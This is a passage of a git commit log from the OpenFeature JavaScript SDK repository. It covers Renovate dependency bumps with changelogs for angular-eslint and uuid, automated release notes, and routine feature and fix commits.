[@&#8203;let](https://redirect.github.com/let) child nodes
([#&#8203;2312](https://redirect.github.com/angular-eslint/angular-eslint/pull/2312))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.2.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1921-2025-03-08)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.0...v19.2.1)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v19.2.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1920-2025-03-02)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.1.0...v19.2.0)

##### 🩹 Fixes

- **eslint-plugin-template:** find inline templates on components in
blocks
([#&#8203;2238](https://redirect.github.com/angular-eslint/angular-eslint/pull/2238))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.1.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1910-2025-02-09)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.2...v19.1.0)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v19.0.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1902-2024-12-10)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.1...v19.0.2)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v19.0.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1901-2024-12-06)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.0...v19.0.1)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v19.0.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1900-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.3...v19.0.0)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.4.3 (2024-11-29)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.4.2 (2024-11-23)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.4.1 (2024-11-18)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.4.0 (2024-10-21)

##### 🩹 Fixes

- **template-parser:** traverse ng-content fallback content
([#&#8203;2031](https://redirect.github.com/angular-eslint/angular-eslint/pull/2031))

##### ❤️ Thank You

- Matt Lewis
[@&#8203;mattlewis92](https://redirect.github.com/mattlewis92)

#### 18.3.1 (2024-09-11)

##### 🩹 Fixes

-   **template-parser:** visit receiver of Call expression

-   **template-parser:** visit receiver of Call expression"

-   **template-parser:** visit receiver of Call expression

##### ❤️ Thank You

-   James Henry
-   Paweł Maniecki

#### 18.3.0 (2024-08-13)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.2.0 (2024-07-31)

##### 🚀 Features

-   update typescript-eslint to v8 stable, eslint v9.8.0

##### ❤️ Thank You

-   James Henry

#### 18.1.0 (2024-07-01)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

#### 18.0.1 (2024-05-30)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjIwNy4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-04-11 12:20:57 +02:00
OpenFeature Bot 7f81917226
chore(main): release angular-sdk 0.0.11 (#1167)
🤖 I have created a release *beep* *boop*
---


##
[0.0.11](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.10...angular-sdk-v0.0.11)
(2025-04-11)


###  New Features

* **angular:** add option for initial context injection
([aafdb43](aafdb4382f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-11 12:08:35 +02:00
Lukas Reining aafdb4382f feat(angular): add option for initial context injection
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-11 12:02:02 +02:00
OpenFeature Bot b60c3df372
chore(main): release core 1.8.0 (#1155)
🤖 I have created a release *beep* *boop*
---


##
[1.8.0](https://github.com/open-feature/js-sdk/compare/core-v1.7.2...core-v1.8.0)
(2025-04-10)


###  New Features

* add support for abort controllers to event handlers
([#1151](https://github.com/open-feature/js-sdk/issues/1151))
([6a22483](6a224830fa))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-04-10 13:52:28 +00:00
Todd Baert 5b19eb035a
chore: use server src not dist in nest tests (#1166)
Fixes issue where nest test suite was running using dist not source of
server sdk.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-10 14:39:39 +02:00
Michael Beemer 5afe61f9e3
feat: add polyfill for react use hook (#1157)
## This PR

- adds an internal `use` polyfill
- refactors suspense support to maintain state across rerenders

### Notes

Previously, the Next.JS build process would timeout when using a
suspense flag hook. The reason for this is because the noop provider
(which is used during a build) is never ready. That meant that the
promise thrown to initiate suspense never resolved. To address this,
I've added global state using a weak map that's keyed off a provider. A
`useRef` won't help because the value is only retained if the component
renders successfully.

> [!NOTE]
> This unblocks suspense in our demo app but does not mean NextJS is
officially support (yet).

### How to test

I've added some tests and manually tested in the Toggle Shop.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-10 12:06:19 +00:00
Todd Baert 60401b6cec
chore: prompt release of react v1 (#1162)
This proposes prompting the release of `@openfeature/react-sdk` 1.0.0.

My reasoning:

- as far as I know, there's no breaking changes on the horizon
- this is being used in production by multiple orgs
- it only depends on other 1.0+ deps

Please let me know what you think, especially if you have objections.

⚠️ this will not release 1.0, but will mark the NEXT release of
the react SDK as 1.0

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-07 06:46:59 +00:00
Simon Schrottner 4482c2b33a
chore: add global maintainers to codeowners (#1163)
Global maintainers approval should also work as a codeowner approval

Signed-off-by: Simon Schrottner <simon.schrottner@dynatrace.com>
2025-04-05 16:18:44 +00:00
Thomas Poignant 2c5b37c79d
fix: Typo in name of the function
Signed-off-by: Thomas Poignant <thomas.poignant@gofeatureflag.org>
2025-03-28 17:37:58 +01:00
Todd Baert cf89e7da24
chore: add nest to test script (#1160)
Somehow we forgot to add this module here.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-03-25 13:29:46 -04:00
Michael Beemer ae8fce8753
feat: add a top-level method for accessing providers (#1152)
## This PR

- add a top-level method for accessing providers

### Notes

While working on some improvements to the way Suspense works in the
React SDK, I ran into a few scenarios were having access to the provider
itself was important. I needed a way to confidently tell that a provider
was the noop provider since it has special properties like never being
in a ready state. There are a few ways could could achieve this but I
noticed that the Java SDK [already has
methods](https://github.com/open-feature/java-sdk/blob/main/src/main/java/dev/openfeature/sdk/OpenFeatureAPI.java#L279)
that expose the provider. It also allowed me to improve some of our
existing tests.

### How to test

Unit tests have been updated accordingly.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-03-06 20:50:06 +00:00
renovate[bot] eec21dda82
chore(deps): update dependency uuid to v11 (#1073)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`^9.0.1` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/uuid/9.0.1/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/9.0.1/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/9.0.1/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>uuidjs/uuid (uuid)</summary>

###
[`v11.1.0`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1110-2025-02-19)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.5...v11.1.0)

##### Features

- update TS types to allow`Uint8Array` subtypes for `buffer` option
([#&#8203;865](https://redirect.github.com/uuidjs/uuid/issues/865))
([a5231e7](a5231e7e1b))

###
[`v11.0.5`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1105-2025-01-09)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.4...v11.0.5)

##### Bug Fixes

- add TS unit test, pin to typescript@5.0.4
([#&#8203;860](https://redirect.github.com/uuidjs/uuid/issues/860))
([24ac2fd](24ac2fd067))

###
[`v11.0.4`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1104-2025-01-05)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.3...v11.0.4)

##### Bug Fixes

- **docs:** insure -> ensure
([#&#8203;843](https://redirect.github.com/uuidjs/uuid/issues/843))
([d2a61e1](d2a61e154d))
- exclude tests from published package
([#&#8203;840](https://redirect.github.com/uuidjs/uuid/issues/840))
([f992ff4](f992ff4780))
- Test for invalid byte array sizes and ranges in `v1()`, `v4()`, and
`v7()`
([#&#8203;845](https://redirect.github.com/uuidjs/uuid/issues/845))
([e0ee900](e0ee90051e))

###
[`v11.0.3`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1103-2024-11-04)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.2...v11.0.3)

##### Bug Fixes

- apply stricter typing to the v\* signatures
([#&#8203;831](https://redirect.github.com/uuidjs/uuid/issues/831))
([c2d3fed](c2d3fed22c))
- export internal uuid types
([#&#8203;833](https://redirect.github.com/uuidjs/uuid/issues/833))
([341edf4](341edf444c))
- remove sourcemaps
([#&#8203;827](https://redirect.github.com/uuidjs/uuid/issues/827))
([b93ea10](b93ea101af))
- revert "simplify type for v3 and v5"
([#&#8203;835](https://redirect.github.com/uuidjs/uuid/issues/835))
([e2dee69](e2dee691e9))

###
[`v11.0.2`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1102-2024-10-28)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.1...v11.0.2)

##### Bug Fixes

- remove wrapper.mjs
([2a18871](2a18871f00))
- remove wrapper.mjs
([#&#8203;822](https://redirect.github.com/uuidjs/uuid/issues/822))
([6683ad3](6683ad38b0))

###
[`v11.0.1`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1101-2024-10-27)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.0...v11.0.1)

##### Bug Fixes

- restore package.json#browser field
([#&#8203;817](https://redirect.github.com/uuidjs/uuid/issues/817))
([ae8f386](ae8f38657b))

###
[`v11.0.0`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1100-2024-10-27)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v10.0.0...v11.0.0)

##### ⚠ BREAKING CHANGES

- refactor v1 internal state and options logic
([#&#8203;780](https://redirect.github.com/uuidjs/uuid/issues/780))
- refactor v7 internal state and options logic, fixes
[#&#8203;764](https://redirect.github.com/uuidjs/uuid/issues/764)
([#&#8203;779](https://redirect.github.com/uuidjs/uuid/issues/779))
- Port to TypeScript, closes
[#&#8203;762](https://redirect.github.com/uuidjs/uuid/issues/762)
([#&#8203;763](https://redirect.github.com/uuidjs/uuid/issues/763))
- update node support matrix (only support node 16-20)
([#&#8203;750](https://redirect.github.com/uuidjs/uuid/issues/750))
- This library always aims at supporting one EOLed LTS release which by
this time now is 12.x which has reached EOL 30 Apr 2022.
-   Remove the minified UMD build from the package.
- Drop support for browsers that don't correctly implement const/let and
default arguments, and no longer transpile the browser build to ES2015.
- Although in practice this is currently a noop since the resulting
build does not change, the build will no longer transpiles future
changes for Node.js 8.x targets, so semantically this is still a
breaking change.
- Deep requiring specific algorithms of this library like
require('uuid/v4'), which has been deprecated in uuid@7, is no longer
supported.
- The default export, which used to be the v4() method but which was
already discouraged in v3.x of this library, has been removed.
- Explicitly note that deep imports of the different uuid version
functions are deprecated and no longer encouraged and that ECMAScript
module named imports should be used instead. Emit a deprecation warning
for people who deep-require the different algorithm variants.
- Remove builtin support for insecure random number generators in the
browser. Users who want that will have to supply their own random number
generator function.
-   Remove support for generating v3 and v5 UUIDs in Node.js<4.x
- Convert code base to ECMAScript Modules (ESM) and release CommonJS
build for node and ESM build for browser bundlers.

##### Features

- add parse/stringify/validate/version/NIL APIs
([#&#8203;479](https://redirect.github.com/uuidjs/uuid/issues/479))
([0e6c10b](0e6c10ba1b))
- add support for MAX uuid (new in RFC9562)
([#&#8203;714](https://redirect.github.com/uuidjs/uuid/issues/714))
([0385cd3](0385cd3f18))
- add UMD build to npm package
([#&#8203;357](https://redirect.github.com/uuidjs/uuid/issues/357))
([4e75adf](4e75adf435))
- add various es module and CommonJS examples
([b238510](b238510bf3))
- enforce Conventional Commit style commit messages
([#&#8203;282](https://redirect.github.com/uuidjs/uuid/issues/282))
([0705cd5](0705cd5bae))
- ensure that docs are up-to-date in CI
([ee5e77d](ee5e77db54))
- hybrid CommonJS & ECMAScript modules build
([a3f078f](a3f078faa0))
- improve performance of v1 string representation
([#&#8203;453](https://redirect.github.com/uuidjs/uuid/issues/453))
([0ee0b67](0ee0b67c37))
- improve v4 performance by reusing random number array
([#&#8203;435](https://redirect.github.com/uuidjs/uuid/issues/435))
([bf4af0d](bf4af0d711))
- optimize uuid.v1 by 1.3x uuid.v4 by 4.3x (430%)
([#&#8203;597](https://redirect.github.com/uuidjs/uuid/issues/597))
([3a033f6](3a033f6bab))
- optimize V8 performance of bytesToUuid
([#&#8203;434](https://redirect.github.com/uuidjs/uuid/issues/434))
([e156415](e156415448))
- Port to TypeScript, closes
[#&#8203;762](https://redirect.github.com/uuidjs/uuid/issues/762)
([#&#8203;763](https://redirect.github.com/uuidjs/uuid/issues/763))
([1e0f987](1e0f9870db))
- remove deep requires
([#&#8203;426](https://redirect.github.com/uuidjs/uuid/issues/426))
([daf72b8](daf72b84ce))
- remove deprecated v4 string parameter
([#&#8203;454](https://redirect.github.com/uuidjs/uuid/issues/454))
([88ce3ca](88ce3ca0ba))
- remove insecure fallback random number generator
([3a5842b](3a5842b141))
- remove support for pre Node.js v4 Buffer API
([#&#8203;356](https://redirect.github.com/uuidjs/uuid/issues/356))
([b59b5c5](b59b5c5eca))
- remove UMD build
([#&#8203;645](https://redirect.github.com/uuidjs/uuid/issues/645))
([e948a0f](e948a0f22b)),
closes [#&#8203;620](https://redirect.github.com/uuidjs/uuid/issues/620)
- rename repository to github:uuidjs/uuid
([#&#8203;351](https://redirect.github.com/uuidjs/uuid/issues/351))
([c37a518](c37a518e36)),
closes [#&#8203;338](https://redirect.github.com/uuidjs/uuid/issues/338)
- rename repository to github:uuidjs/uuid
([#&#8203;351](https://redirect.github.com/uuidjs/uuid/issues/351))
([e2d7314](e2d731463b)),
closes [#&#8203;338](https://redirect.github.com/uuidjs/uuid/issues/338)
- support v6 uuids
([#&#8203;754](https://redirect.github.com/uuidjs/uuid/issues/754))
([c4ed13e](c4ed13e715))
- update node support matrix (only support node 16-20)
([#&#8203;750](https://redirect.github.com/uuidjs/uuid/issues/750))
([883b163](883b163b9a))
- use native crypto.randomUUID when available
([#&#8203;600](https://redirect.github.com/uuidjs/uuid/issues/600))
([c9e076c](c9e076c852))
- v8 support
([#&#8203;759](https://redirect.github.com/uuidjs/uuid/issues/759))
([35a5342](35a5342820))

##### Bug Fixes

- 248
([#&#8203;251](https://redirect.github.com/uuidjs/uuid/issues/251))
([67d697c](67d697cd83))
- 30, \_rb not defined for lesser node.js versions
([8a6c03f](8a6c03f969))
- add CommonJS syntax example to README quickstart section
([#&#8203;417](https://redirect.github.com/uuidjs/uuid/issues/417))
([e0ec840](e0ec8402c7))
- add deep-require proxies for local testing and adjust tests
([#&#8203;365](https://redirect.github.com/uuidjs/uuid/issues/365))
([7fedc79](7fedc79ac8))
- add Jest/jsdom compatibility
([#&#8203;642](https://redirect.github.com/uuidjs/uuid/issues/642))
([16f9c46](16f9c469ed))
- add missing exports and tests for new APIs
([#&#8203;495](https://redirect.github.com/uuidjs/uuid/issues/495))
([681e1da](681e1dabfb))
- assignment to readonly property to allow running in strict mode
([#&#8203;270](https://redirect.github.com/uuidjs/uuid/issues/270))
([d062fdc](d062fdc14a))
- change default export to named function
([#&#8203;545](https://redirect.github.com/uuidjs/uuid/issues/545))
([c57bc5a](c57bc5a9a0))
- clean up esm builds for node and browser
([#&#8203;383](https://redirect.github.com/uuidjs/uuid/issues/383))
([59e6a49](59e6a49e7c))
- export package.json required by react-native and bundlers
([#&#8203;449](https://redirect.github.com/uuidjs/uuid/issues/449))
([be1c8fe](be1c8fe9a3)),
closes [#&#8203;444](https://redirect.github.com/uuidjs/uuid/issues/444)
- fix [#&#8203;229](https://redirect.github.com/uuidjs/uuid/issues/229)
([d9033cf](d9033cf358))
- fix [#&#8203;284](https://redirect.github.com/uuidjs/uuid/issues/284)
by setting function name in try-catch
([f2a60f2](f2a60f2fcd))
- Get correct version of IE11 crypto
([#&#8203;274](https://redirect.github.com/uuidjs/uuid/issues/274))
([205e0ed](205e0ed1f7))
- handle error when parameter is not set in v3 and v5
([#&#8203;622](https://redirect.github.com/uuidjs/uuid/issues/622))
([fcd7388](fcd7388169))
- lazy load getRandomValues
([#&#8203;537](https://redirect.github.com/uuidjs/uuid/issues/537))
([16c8f6d](16c8f6df2f)),
closes [#&#8203;536](https://redirect.github.com/uuidjs/uuid/issues/536)
- make access to msCrypto consistent
([#&#8203;393](https://redirect.github.com/uuidjs/uuid/issues/393))
([8bf2a20](8bf2a20f35))
- make deep require deprecation warning work in browsers
([#&#8203;409](https://redirect.github.com/uuidjs/uuid/issues/409))
([4b71107](4b71107d8c))
- mem issue when generating uuid
([#&#8203;267](https://redirect.github.com/uuidjs/uuid/issues/267))
([c47702c](c47702c291))
- missing v7 expectations in browser spec
([#&#8203;751](https://redirect.github.com/uuidjs/uuid/issues/751))
([f54a866](f54a866ced))
- prepare package exports for webpack 5
([#&#8203;468](https://redirect.github.com/uuidjs/uuid/issues/468))
([8d6e6a5](8d6e6a5f89))
- provide browser versions independent from module system
([#&#8203;380](https://redirect.github.com/uuidjs/uuid/issues/380))
([4344a22](4344a22e7a))
- refactor v1 internal state and options logic
([#&#8203;780](https://redirect.github.com/uuidjs/uuid/issues/780))
([031b3d3](031b3d3d73))
- refactor v7 internal state and options logic, fixes
[#&#8203;764](https://redirect.github.com/uuidjs/uuid/issues/764)
([#&#8203;779](https://redirect.github.com/uuidjs/uuid/issues/779))
([9dbd1cd](9dbd1cd417))
- remove v4 options default assignment preventing native.randomUUID from
being used
([#&#8203;786](https://redirect.github.com/uuidjs/uuid/issues/786))
([afe6232](afe62323c4))
- revert "perf: remove superfluous call to toLowerCase
([#&#8203;677](https://redirect.github.com/uuidjs/uuid/issues/677))"
([#&#8203;738](https://redirect.github.com/uuidjs/uuid/issues/738))
([e267b90](e267b9073d))
- run npm audit fix
([#&#8203;644](https://redirect.github.com/uuidjs/uuid/issues/644))
([04686f5](04686f54c5))
- seq_hi shift for byte 6
([#&#8203;775](https://redirect.github.com/uuidjs/uuid/issues/775))
([1d532ca](1d532ca374))
- simplify link in deprecation warning
([#&#8203;391](https://redirect.github.com/uuidjs/uuid/issues/391))
([bb2c8e4](bb2c8e4e9f))
- support expo>=39.0.0
([#&#8203;515](https://redirect.github.com/uuidjs/uuid/issues/515))
([c65a0f3](c65a0f3fa7)),
closes [#&#8203;375](https://redirect.github.com/uuidjs/uuid/issues/375)
- tsconfig module type
([#&#8203;778](https://redirect.github.com/uuidjs/uuid/issues/778))
([7eff835](7eff835cba))
- typo
([305d877](305d877790))
- update links to match content in readme
([#&#8203;386](https://redirect.github.com/uuidjs/uuid/issues/386))
([44f2f86](44f2f86e9d))
- upgrading from uuid3 broken link
([#&#8203;568](https://redirect.github.com/uuidjs/uuid/issues/568))
([1c849da](1c849da6e1))
- use msCrypto if available. Fixes
[#&#8203;241](https://redirect.github.com/uuidjs/uuid/issues/241)
([#&#8203;247](https://redirect.github.com/uuidjs/uuid/issues/247))
([1fef18b](1fef18baf2))

##### Performance Improvements

- **nodejs:** introduce pool into default rng
([#&#8203;513](https://redirect.github.com/uuidjs/uuid/issues/513))
([7f1af04](7f1af044be))
- remove superfluous call to toLowerCase
([#&#8203;677](https://redirect.github.com/uuidjs/uuid/issues/677))
([e53793f](e53793f5be))

##### Documentation

- add note about removal of default export
([#&#8203;372](https://redirect.github.com/uuidjs/uuid/issues/372))
([12749b7](12749b700e)),
closes [#&#8203;370](https://redirect.github.com/uuidjs/uuid/issues/370)
- deprecated deep requiring of the different algorithm versions
([#&#8203;361](https://redirect.github.com/uuidjs/uuid/issues/361))
([c0bdf15](c0bdf15e41))

##### Miscellaneous Chores

- drop node 10.x to upgrade dev dependencies
([#&#8203;653](https://redirect.github.com/uuidjs/uuid/issues/653))
([28a5712](28a571283f))
- release 11.0.0
([#&#8203;805](https://redirect.github.com/uuidjs/uuid/issues/805))
([b003cde](b003cdeda4))

##### Build System

- drop Node.js 8.x from babel transpile target
([#&#8203;603](https://redirect.github.com/uuidjs/uuid/issues/603))
([aa11485](aa11485826))
- drop support for legacy browsers (IE11, Safari 10)
([#&#8203;604](https://redirect.github.com/uuidjs/uuid/issues/604))
([0f433e5](0f433e5ec4))

###
[`v10.0.0`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1000-2024-06-07)

[Compare
Source](https://redirect.github.com/uuidjs/uuid/compare/v9.0.1...v10.0.0)

##### ⚠ BREAKING CHANGES

- update node support (drop node@12, node@14, add node@20)
([#&#8203;750](https://redirect.github.com/uuidjs/uuid/issues/750))

##### Features

- support support rfc9562 MAX uuid (new in RFC9562)
([#&#8203;714](https://redirect.github.com/uuidjs/uuid/issues/714))
([0385cd3](0385cd3f18))
- support rfc9562 v6 uuids
([#&#8203;754](https://redirect.github.com/uuidjs/uuid/issues/754))
([c4ed13e](c4ed13e715))
- support rfc9562 v7 uuids
([#&#8203;681](https://redirect.github.com/uuidjs/uuid/issues/681))
([db76a12](db76a12847))
- update node support matrix (only support node 16-20)
([#&#8203;750](https://redirect.github.com/uuidjs/uuid/issues/750))
([883b163](883b163b9a))
- support rfc9562 v8 uuids
([#&#8203;759](https://redirect.github.com/uuidjs/uuid/issues/759))
([35a5342](35a5342820))

##### Bug Fixes

- revert "perf: remove superfluous call to toLowerCase
([#&#8203;677](https://redirect.github.com/uuidjs/uuid/issues/677))"
([#&#8203;738](https://redirect.github.com/uuidjs/uuid/issues/738))
([e267b90](e267b9073d))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzUuMiIsInVwZGF0ZWRJblZlciI6IjM5LjE3Ni4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-02-27 10:59:42 -05:00
Michael Beemer 6a224830fa
feat: add support for abort controllers to event handlers (#1151)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-26 16:17:28 -05:00
OpenFeature Bot a703ee7a6f
chore(main): release core 1.7.2 (#1150)
🤖 I have created a release *beep* *boop*
---


##
[1.7.2](https://github.com/open-feature/js-sdk/compare/core-v1.7.1...core-v1.7.2)
(2025-02-18)


### 🐛 Bug Fixes

* rename evaluation event property from data to body
([4c2b01e](4c2b01e367))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-18 13:50:35 -05:00
Michael Beemer 4c2b01e367
fix: rename evaluation event property from data to body
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-18 18:46:02 +00:00
OpenFeature Bot 40deec0414
chore(main): release angular-sdk 0.0.10 (#1143)
🤖 I have created a release *beep* *boop*
---


##
[0.0.10](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.9-experimental...angular-sdk-v0.0.10)
(2025-02-13)


### 🧹 Chore

* **angular:** update angular package to a non-experimental version
([#1147](https://github.com/open-feature/js-sdk/issues/1147))
([5272f76](5272f76c40)),
closes [#1110](https://github.com/open-feature/js-sdk/issues/1110)
* update sdk peer
([#1142](https://github.com/open-feature/js-sdk/issues/1142))
([8bb6206](8bb620601e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-13 21:11:57 +00:00
Lukas Reining 5272f76c40
chore(angular): update angular package to a non-experimental version (#1147)
Release Angular SDK as non-experimental version as described in #1110 

Release-As: 0.0.10

Fixes #1110

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-13 22:08:56 +01:00
OpenFeature Bot 30004ea88f
chore(main): release core 1.7.1 (#1149)
🤖 I have created a release *beep* *boop*
---


##
[1.7.1](https://github.com/open-feature/js-sdk/compare/core-v1.7.0...core-v1.7.1)
(2025-02-13)


### 🐛 Bug Fixes

* export missing telemetry functionality
([#1148](https://github.com/open-feature/js-sdk/issues/1148))
([dcbc300](dcbc30090e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-13 16:03:13 -05:00
Michael Beemer dcbc30090e
fix: export missing telemetry functionality (#1148)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-13 15:59:56 -05:00
OpenFeature Bot 23ba0b3d8c
chore(main): release react-sdk 0.4.11 (#1122)
🤖 I have created a release *beep* *boop*
---


##
[0.4.11](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.10...react-sdk-v0.4.11)
(2025-02-07)


###  New Features

* export useOpenFeatureClientStatus hook
([#1082](https://github.com/open-feature/js-sdk/issues/1082))
([4a6b860](4a6b860544))


### 🧹 Chore

* update sdk peer
([#1142](https://github.com/open-feature/js-sdk/issues/1142))
([8bb6206](8bb620601e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-07 21:05:41 +00:00
Michael Beemer 8bb620601e
chore: update sdk peer (#1142)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-07 16:02:31 -05:00
OpenFeature Bot ffceec91bc
chore(main): release web-sdk 1.4.1 (#1135)
🤖 I have created a release *beep* *boop*
---


##
[1.4.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.4.0...web-sdk-v1.4.1)
(2025-02-07)


### 🐛 Bug Fixes

* msg missing when providers return err resolutions
([#1134](https://github.com/open-feature/js-sdk/issues/1134))
([bc9f6e4](bc9f6e44da))


### 🧹 Chore

* update core peer
([8bbd43e](8bbd43e579))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-02-07 20:35:51 +00:00
OpenFeature Bot 045842027c
chore(main): release server-sdk 1.17.1 (#1133)
